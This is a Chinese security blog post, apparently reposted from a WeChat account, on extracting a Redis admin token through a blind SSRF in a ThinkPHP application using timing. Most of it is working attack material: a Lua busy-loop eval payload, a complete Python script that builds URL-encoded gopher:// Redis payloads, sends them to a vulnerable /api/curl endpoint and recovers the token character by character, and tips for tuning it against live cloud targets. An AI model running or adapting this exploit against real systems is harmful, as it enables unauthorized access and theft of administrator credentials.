实战环境中的Redis 延时注入

admin 2024年4月19日08:51:55评论14 views字数 4050阅读13分30秒阅读模式

实战环境中 Redis 延时注

本实验环境:
SSRF 不回显
Redis rdp  且 知晓密码 // 云 (基本无rce可能)

代码漏洞点

thinkphp 框架 controller 本文并不做过多解释

实战环境中的Redis 延时注入

延时

# redis 延时命令
eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); 
if string.match(value[1]:sub({}, {}), "{}") 
    then local a=1 while( a <  50000000 ) do a = a+1 end else return 0 end' 0 "admin_token*"
redis 支持执行 lua 脚本 
但是在lua sleep 函数中 需要 引入三方包 
但是在redis 中做了沙盒限制 所以直接使用for循环达到 延时的作用

基础利用脚本

from urllib.parse import quote
import requests
import time

# HOST = "127.0.0.1"
# PORT = "6379"
def ord2hex(string):
return '%'+'%02x' % (ord(string))
def urlencode(data):
data = ''.join([ord2hex(i) for i in data])
return data
# print("gopher://10.211.55.14:6379/_" + exp)
def returngopherdata(num,aa):
# data = '''eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a < 50000000 ) do a = a+1 end else return 0 end' 0 "admin_token_*"rnquit'''.format(str(num),str(num),aa)
num = urlencode(str(num))
aa = urlencode(aa)
data = "%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a".format(num,num,aa)
data = quote(data)
data = "gopher://10.211.55.14:6379/_" + data
return data
def returnpostdata(gopherdata):
url = "http://10.211.55.14/api/curl"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
proxies = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080"
}
data = '''url={}'''.format(gopherdata)
starttime = int(time.time())
r = requests.post(url,data=data,headers=headers,proxies=proxies)
endtime = int(time.time())
needtime = endtime - starttime
# print("time : " + str(needtime))
return needtime
def main():
strings = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
# admin_token_ts5q9s3hpe5h5fq6pl6776c9tb
results = ""
for i in range(13,50):
print("now : " + str(i))
for aa in strings:
gopherdata = returngopherdata(i,aa)
needtime = returnpostdata(gopherdata)
if needtime > 5:
results = results + aa
print(results)
break
# exit()
print("Wait: 5s")
time.sleep(5)
print(results)
return results
if "__main__" == __name__:
main()

Redis 协议

redis协议 生成gopher 网上公开的脚本经测试 无法使用 只能自己写
%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a
经url解码后

*2
$6
select
$1
9
*4
$4
eval
$217
local value = redis.call("KEYS", (ARGV[1])); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a < 400000000 ) do a = a+1 end else return 0 end
$1
0
$13
admin_token_*
*1
$4
quit

redis 协议 *

*2
代表有两个arg
例如
select 6 
这是两个参数

redis 协议 $

$6
代表下面字符有6个
例如
select

利用

假设 redis 中存在admin_token_asdadasadadad

实战环境中的Redis 延时注入

脚本利用截图

实战环境中的Redis 延时注入

实战环境中的Redis 延时注入

admin_token_asdadasadadad

asdadasadadad
对比情况相同 成功得到管理员token

Tips

现实情况中要考虑网络延迟情况 与 对方服务器情况

并且这个脚本并默认只跑 key 符合 admin_token_* 的第一条内容 如果在脚本运行期间 有新token 加入 则会造成 token 错误的情况 后续需要将payload 更改
每次跑出一位后
例如第一位为a 那么第二次的paylaod 应该为 admin_token_a* 这样就算 脚本运行期间有新的token加入 也不会影响我们得到的token正常使用

每次延时时间要根据对方服务器判断 想靶场环境的话 400000000 大概在三秒左右 如果用线上环境 rds 一类的话 可能只有一秒不到的延时 所以要适量增加 for 循环次数

直接  eval 'local a=1 while( a <  50000000 ) do a = a+1 end' 0 查看回显时间

实战环境中的Redis 延时注入

实战环境中的Redis 延时注入

原文始发于微信公众号(白帽子):实战环境中的Redis 延时注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月19日08:51:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战环境中的Redis 延时注入http://cn-sec.com/archives/2671028.html

发表评论

匿名网友 填写信息